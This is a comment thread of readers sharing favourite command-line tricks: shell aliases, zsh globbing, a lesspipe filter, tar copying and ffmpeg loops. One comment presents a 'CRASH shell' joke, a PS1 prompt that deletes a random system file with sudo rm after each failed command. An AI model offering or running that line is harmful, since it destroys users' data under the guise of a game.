What is Your Favourite Command Line Trick?

11 thoughts on “What is Your Favourite Command Line Trick?”

1. I use FISH for my shell instead of bash or zsh. Of course I can easily activate bash with the command of the same name. I have a config.fish file with so many aliases I sometimes have to open the file to see what the actual command I have aliased. Here’s a few examples I can think of off the top of my head since I’m not at home and posting this with my phone

   no=’nano’
   sno=’sudo nano’
   cdapts=’cd /etc/apt/sources.list.d/’
   d20=’rolldice 1d20′
   luxup=’lumeus +5%’
   luxdn=’lumeus -5%’
   upd=’sudo apt update’
   upg=’sudo apt upgrade’
   evfish=’pluma ~/.config/fish/config.fish’ (which I use to easily open my fish config file to add, remove or modify my aliases).

   Some aliases invoke multiple commands.
   gc=’cd /downloads/git/ ; git clone’

   I even have aliases which call back other aliases.
   up=’upd ; upg’

   I have copied some commands into my .bashrc just in case.

   If anybody actually reads this and want the full list of fish aliases, I’ll make available as a gist file on github.

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   • I have a config.fish file with so many aliases I sometimes have to open the file to see what the actual command I have aliased.

     After facing that problem for too long, my zsh setup now includes a $HOME/.zsh_functions/whmap function. It searches all available commands (including aliases, functions, etc.) for the string pattern I pass as an argument:

     
     $ whmap encode
     dirac_encoder is /usr/bin/dirac_encoder
     gtk-encode-symbolic-svg is /usr/bin/gtk-encode-symbolic-svg
     h264encode is /usr/bin/h264encode
     mencoder is /usr/bin/mencoder
     mimeencode is /usr/bin/mimeencode
     mimencode is /usr/bin/mimencode
     mmencode is /usr/bin/mmencode
     theora_encode is /usr/bin/theora_encode
     uuencode is /usr/bin/uuencode
     
     $ whmap whmap
     whmap () {
     	noglob builtin whence -mavf *$1*
     }
     

     (The nonsensical name is a relic of a much earlier version of the function, when it performed a path-only search via noglob builtin whence -map *$1*. I later extended it to also search function names and builtins.)

     So as long as I can remember at least part of an alias or function’s name, I can usually find it.

     Doesn’t help if I can’t remember the name, of course. But I don’t use a lot of those “shortcut”-type aliases — like, two-letter equivalents for a certain command, or whatever — specifically because of that problem. I figure, a mnemonic isn’t really helpful unless it’s so obvious and unforgettable that there’s no question what it would be. (Like the alias ll='ls -l' that’s part of coreutils’ /etc/profile.d/colorls.sh ­— though I don’t even use that one, myself, because typing ls -l is just not that time-consuming.)

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2. sudo bash just keep that root she’ll open.

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   • For a designated number of minutes, yes.

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3. Sudo !! Is definitely the most used command in my bash history.
   I wrote something centuries ago on my blog it’s a list of kick ass commands
   https://blog.urfix.com/25-ssh-commands-tricks/

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4. here is a shell script to handle all sorts of different file types with LESS

   #!/bin/sh –
   #
   # To use this filter with less, define LESSOPEN:
   # export LESSOPEN=”|/usr/bin/lesspipe.sh %s”

   lesspipe() {
   case “$1” in
   *.[1-9n]|*.man|*.[1-9n].bz2|*.man.bz2|*.[1-9].gz|*.[1-9]x.gz|*.[1-9].man.gz)
   case “$1″ in
   *.gz) DECOMPRESSOR=”gunzip -c” ;;
   *.bz2) DECOMPRESSOR=”bunzip2 -c” ;;
   *) DECOMPRESSOR=”cat” ;;
   esac
   if $DECOMPRESSOR — “$1” | file – | grep -q troff; then
   if echo “$1” | grep -q ^/; then #absolute path
   man — “$1” | cat -s
   else
   man — “./$1” | cat -s
   fi
   else
   $DECOMPRESSOR — “$1”
   fi ;;
   *.tar) tar tvvf “$1” ;;
   *.tgz|*.tar.gz|*.tar.[zZ]) tar tzvvf “$1” ;;
   *.tar.bz2|*.tbz2) bzip2 -dc “$1” | tar tvvf – ;;
   *.[zZ]|*.gz) gzip -dc — “$1” ;;
   *.bz2) bzip2 -dc — “$1” ;;
   *.zip|*ZIP) zipinfo — “$1” ;;
   *.rpm) rpm -qpivl –changelog — “$1” ;;
   *.cpi|*.cpio) cpio -itv < "$1" ;; *.jar|*.ear|*.war) jar -tvvf "$1" ;; core*) file "$1" ;; *.dmp) strings "$1" ;; *.doc|*.DOC) wvWare -x /usr/local/share/wv/wvText.xml "$1" ;; *.mp3) file "$1" ;; *.gif|*.jpeg|*.jpg|*.pcd|*.png|*.tga|*.tiff|*.tif) if [ -x "`which identify`" ]; then identify "$1" else echo "No identify available" echo "Install ImageMagick to browse images" fi ;; *) case "$1" in *.gz) DECOMPRESSOR="gunzip -c" ;; *.bz2) DECOMPRESSOR="bunzip2 -c" ;; esac $DECOMPRESSOR -- "$1" ;; esac } if [ -d "$1" ] ; then /bin/ls -alF -- "$1" else lesspipe "$1" 2> /dev/null
   fi

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   • Thank you.

     On another note, Disqus needs to bring support for at least, Markdown and preformatted text.

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5. Most of my favorite “tricks” really just involve using advanced features of zsh. For instance:

   (Some of these may require options like extendedglob to be set.)

   • rpm -qf =firefox
   Check which Fedora RPM supplied the firefox command in my path

   • less =firefox
   Read its contents (since it’s actually a wrapper script)

   • grep pattern **/*(.)
   Search for “pattern” in every regular file underneath the current directory (at any depth), without spewing errors trying to grep directories, or sockets, or etc.

   • for file in *.PNG; do mv $file "${file:r}.png"; done
   Rename every filename.PNG to filename.png.
   (Note1: ${variable:r} removes an extension from the filename in $variable. The same thing can also be done as ${file%.*} in bash (or zsh), but :r is smarter in that it ignores directory boundaries — if file = .ssh/id_rsa, ${file%.*} == "", but ${file:r} == ".ssh/id_rsa".)
   (Note2: Zsh will automatically protect $file as a single argument to mv, but to be paranoid it could also be witten as "$file")

   Aside from zsh tricks, I also frequently resort to this piped, tar-based directory tree duplication trick. To mirror the entire contents of /location/of/source as /destination/location/source, including any .dotfiles or .dotdirectories/ it contains:

   cd /location/of/
   tar cpSf - source/ | (cd /destination/location/ && tar xpSf -)

   If you have an sshfs-mounted remote directory, it can even be used to copy over the network. To see a running list of what’s being copied, change the second tar instance to tar xvpSf -.

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6. Although not technically a CLI command, but a Linux (shell) command, the ‘alias’ command is one of my favorites.
   You can’t imagine my joy, when learning Linux/UNIX, at finding that, via ‘alias’, I could clear the screen with “cls”, just as I do in MS-DOS and CP/M. Saves all of two entire key-strokes. AND… is more in the spirit of UNIX: “…keep it simple”.

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7. The CRASH shell brings the fun of old ascii dungeon crawler games to bash. Every time you make a wrong move, you take damage by the shell removing a random file from the filesystem. Requires sudo. Good luck.

   
   PS1='$([ $? != 0 ] && sudo bash -c "rm -f $(while ! shuf -z -n1 /var/lib/mlocate/mlocate.db | fgrep -a /; do :; done)")@' $PS1
   

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8. Well if aliases count, here’s one I constantly use on a VPS to convert mkv files to mp4. Mp4 works a lot better by default on my Android TV, as well as on my phone in the browser. Mkv, not so much… So I put together an alias to convert all mkv files in the current directory, to very similar quality mp4 files:

   alias convertmkv="for v in *.mkv; do ffmpeg -i "$v" -c:v copy -c:a aac -strict -2 -bsf:a aac_adtstoasc -ac 2 -ar 48000 -ab 256k "${v%.*}.mp4"; done"

   A similar alias for converting avi to mp4:

   alias convertavi="for v in *.avi; do ffmpeg -i "$v" -c:a aac -strict -2 -b:a 128k -c:v libx264 -crf 23 "${v%.*}.mp4"; done"

   …and taking it even further using the “screen” application to allow the conversion process to happen in another ‘screen’ that I can toggle between, without having to open a new session.

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